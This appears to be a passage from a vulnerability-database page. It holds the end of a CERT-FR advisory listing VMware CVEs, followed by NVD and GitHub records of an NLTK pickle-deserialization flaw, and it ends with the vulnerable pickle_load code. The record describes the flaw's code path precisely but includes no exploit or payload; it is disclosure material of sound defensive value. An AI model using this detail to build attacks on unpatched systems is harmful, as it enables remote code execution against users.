      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76957"
    },
    {
      "name": "CVE-2026-42012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
    },
    {
      "name": "CVE-2024-39689",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39689"
    },
    {
      "name": "CVE-2025-1148",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1148"
    },
    {
      "name": "CVE-2026-77406",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77406"
    },
    {
      "name": "CVE-2026-94440",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94440"
    },
    {
      "name": "CVE-2026-61711",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-61711"
    },
    {
      "name": "CVE-2026-54371",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
    },
    {
      "name": "CVE-2026-68494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
    },
    {
      "name": "CVE-2025-6921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6921"
    },
    {
      "name": "CVE-2024-29903",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29903"
    },
    {
      "name": "CVE-2023-5752",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
    },
    {
      "name": "CVE-2026-96224",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96224"
    },
    {
      "name": "CVE-2025-66862",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66862"
    },
    {
      "name": "CVE-2026-14670",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
    },
    {
      "name": "CVE-2026-39827",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
    },
    {
      "name": "CVE-2026-77405",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77405"
    },
    {
      "name": "CVE-2026-24122",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24122"
    },
    {
      "name": "CVE-2026-32776",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32776"
    },
    {
      "name": "CVE-2026-4046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4046"
    },
    {
      "name": "CVE-2026-56444",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56444"
    },
    {
      "name": "CVE-2026-15028",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15028"
    },
    {
      "name": "CVE-2026-9150",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9150"
    },
    {
      "name": "CVE-2026-93560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93560"
    },
    {
      "name": "CVE-2026-112405",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
    },
    {
      "name": "CVE-2026-79677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
    },
    {
      "name": "CVE-2026-56289",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56289"
    },
    {
      "name": "CVE-2026-59845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59845"
    },
    {
      "name": "CVE-2026-46385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46385"
    },
    {
      "name": "CVE-2026-22772",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22772"
    },
    {
      "name": "CVE-2026-111497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111497"
    },
    {
      "name": "CVE-2026-56852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
    },
    {
      "name": "CVE-2026-42784",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42784"
    },
    {
      "name": "CVE-2025-67221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
    },
    {
      "name": "CVE-2026-73581",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
    },
    {
      "name": "CVE-2026-15830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15830"
    },
    {
      "name": "CVE-2025-0167",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-0167"
    },
    {
      "name": "CVE-2026-16517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16517"
    },
    {
      "name": "CVE-2026-85977",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85977"
    },
    {
      "name": "CVE-2026-59843",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59843"
    },
    {
      "name": "CVE-2026-33230",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
    },
    {
      "name": "CVE-2026-59899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
    },
    {
      "name": "CVE-2026-47775",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47775"
    },
    {
      "name": "CVE-2025-69420",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
    },
    {
      "name": "CVE-2026-92390",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
    },
    {
      "name": "CVE-2026-34481",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
    },
    {
      "name": "CVE-2025-22227",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22227"
    },
    {
      "name": "CVE-2025-47273",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
    },
    {
      "name": "CVE-2025-15224",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15224"
    },
    {
      "name": "CVE-2026-59204",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
    },
    {
      "name": "CVE-2026-35501",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35501"
    },
    {
      "name": "CVE-2026-111066",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111066"
    },
    {
      "name": "CVE-2026-86143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86143"
    },
    {
      "name": "CVE-2026-8286",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
    },
    {
      "name": "CVE-2026-93567",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93567"
    },
    {
      "name": "CVE-2026-85091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85091"
    },
    {
      "name": "CVE-2026-116590",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116590"
    },
    {
      "name": "CVE-2026-39823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
    },
    {
      "name": "CVE-2026-86409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86409"
    },
    {
      "name": "CVE-2026-1462",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1462"
    },
    {
      "name": "CVE-2026-46680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
    },
    {
      "name": "CVE-2026-22703",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22703"
    },
    {
      "name": "CVE-2026-0989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0989"
    },
    {
      "name": "CVE-2026-31790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
    },
    {
      "name": "CVE-2026-18024",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
    },
    {
      "name": "CVE-2025-61729",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
    },
    {
      "name": "CVE-2026-83557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
    },
    {
      "name": "CVE-2026-15059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15059"
    },
    {
      "name": "CVE-2025-11494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11494"
    },
    {
      "name": "CVE-2024-6345",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
    },
    {
      "name": "CVE-2025-3777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3777"
    },
    {
      "name": "CVE-2026-63072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
    },
    {
      "name": "CVE-2026-79657",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79657"
    },
    {
      "name": "CVE-2025-14831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14831"
    },
    {
      "name": "CVE-2026-5545",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5545"
    },
    {
      "name": "CVE-2026-77310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
    },
    {
      "name": "CVE-2026-95209",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95209"
    },
    {
      "name": "CVE-2026-81634",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81634"
    },
    {
      "name": "CVE-2026-53492",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53492"
    },
    {
      "name": "CVE-2026-65898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
    },
    {
      "name": "CVE-2026-50149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50149"
    },
    {
      "name": "CVE-2026-112891",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
    },
    {
      "name": "CVE-2026-86000",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86000"
    },
    {
      "name": "CVE-2026-43895",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43895"
    },
    {
      "name": "CVE-2026-7017",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7017"
    },
    {
      "name": "CVE-2024-10979",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10979"
    },
    {
      "name": "CVE-2026-84782",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84782"
    },
    {
      "name": "CVE-2025-3576",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3576"
    },
    {
      "name": "CVE-2026-15307",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
    },
    {
      "name": "CVE-2026-5241",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5241"
    },
    {
      "name": "CVE-2026-73281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73281"
    },
    {
      "name": "CVE-2026-0846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0846"
    },
    {
      "name": "CVE-2026-87022",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
    },
    {
      "name": "CVE-2026-59889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
    },
    {
      "name": "CVE-2026-3784",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3784"
    },
    {
      "name": "CVE-2025-1147",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1147"
    },
    {
      "name": "CVE-2026-56864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
    }
  ],
  "initial_release_date": "2026-11-09T00:00:00",
  "last_revision_date": "2026-11-09T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-1486",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-11-09T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
  "vendor_advisories": [
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39550",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39550"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39545",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39545"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39539",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39539"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39534",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39534"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39548",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39548"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39536",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39536"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39544",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39544"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39549",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39549"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39522",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39522"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39530",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39530"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39537",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39537"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39533",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39533"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39526"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39518",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39518"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39542",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39542"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39517",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39517"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39547"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39528",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39528"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39514",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39514"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39523",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39523"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39516",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39516"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39551",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39551"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39525",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39525"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39543",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39543"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39541",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39541"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39540",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39540"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39524"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39527",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39527"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39519",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39519"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39546",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39546"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39521",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39521"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39538",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39538"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39529",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39529"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39535",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39535"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39515",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39515"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39531",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39531"
    },
    {
      "published_at": "2026-11-06",
      "title": "Bulletin de s\u00e9curit\u00e9 VMware 39532",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39532"
    }
  ]
}

FKIE_CVE-2026-78683

Vulnerability from fkie_nvd - Published: 2026-08-25 02:16 - Updated: 2026-10-12 17:10

Severity

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
disclosure@vulncheck.com	https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2	Exploit, Vendor Advisory
disclosure@vulncheck.com	https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nltk	nltk	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/nltk",
          "product": "nltk",
          "vendor": "nltk",
          "versions": [
            {
              "lessThan": "3.10.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.10.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "653A48E1-BCC5-4342-B5DF-E8D71A83BCB9",
              "versionEndExcluding": "3.10.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
    },
    {
      "lang": "es",
      "value": "NLTK anterior a 3.10.0 (versiones afectadas menor o igual que 3.9.4) contiene una vulnerabilidad de deserializaci\u00f3n pickle insegura en el m\u00e9todo TransitionParser.parse() (nltk/parse/transitionparser.py). El m\u00e9todo llama a pickle_load() con el valor predeterminado restricted=False, dirigiendo la deserializaci\u00f3n a trav\u00e9s de WarningUnpickler, que no anula find_class() y, por lo tanto, permite la resoluci\u00f3n arbitraria de clases. Cuyo una aplicaci\u00f3n carga un archivo de modelo creado por un atacante, las cadenas de gadgets pickle incrustadas ejecutan c\u00f3digo Python arbitrario con los privilegios del usuario que ejecuta la aplicaci\u00f3n. NLTK proporciona un RestrictedUnpickler para una deserializaci\u00f3n segura, pero no es utilizado por las rutas de c\u00f3digo de producci\u00f3n. Corregido en 3.10.0."
    }
  ],
  "id": "CVE-2026-78683",
  "lastModified": "2026-10-12T17:10:00.163",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-78683",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T15:19:21.370761Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T02:16:53.033",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GX65-C5HJ-VPV5

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-09-02 14:40

Withdrawn 2026-09-02

Summary

Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.

Original Description

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:40:50Z",
    "nvd_published_at": "2026-08-25T02:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
  "id": "GHSA-gx65-c5hj-vpv5",
  "modified": "2026-09-02T14:40:50Z",
  "published": "2026-08-25T03:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "withdrawn": "2026-09-02T14:40:50Z"
}

GHSA-RHP5-R9X4-F5G2

Vulnerability from github – Published: 2026-09-08 16:41 – Updated: 2026-09-08 16:41

Summary

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Summary

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

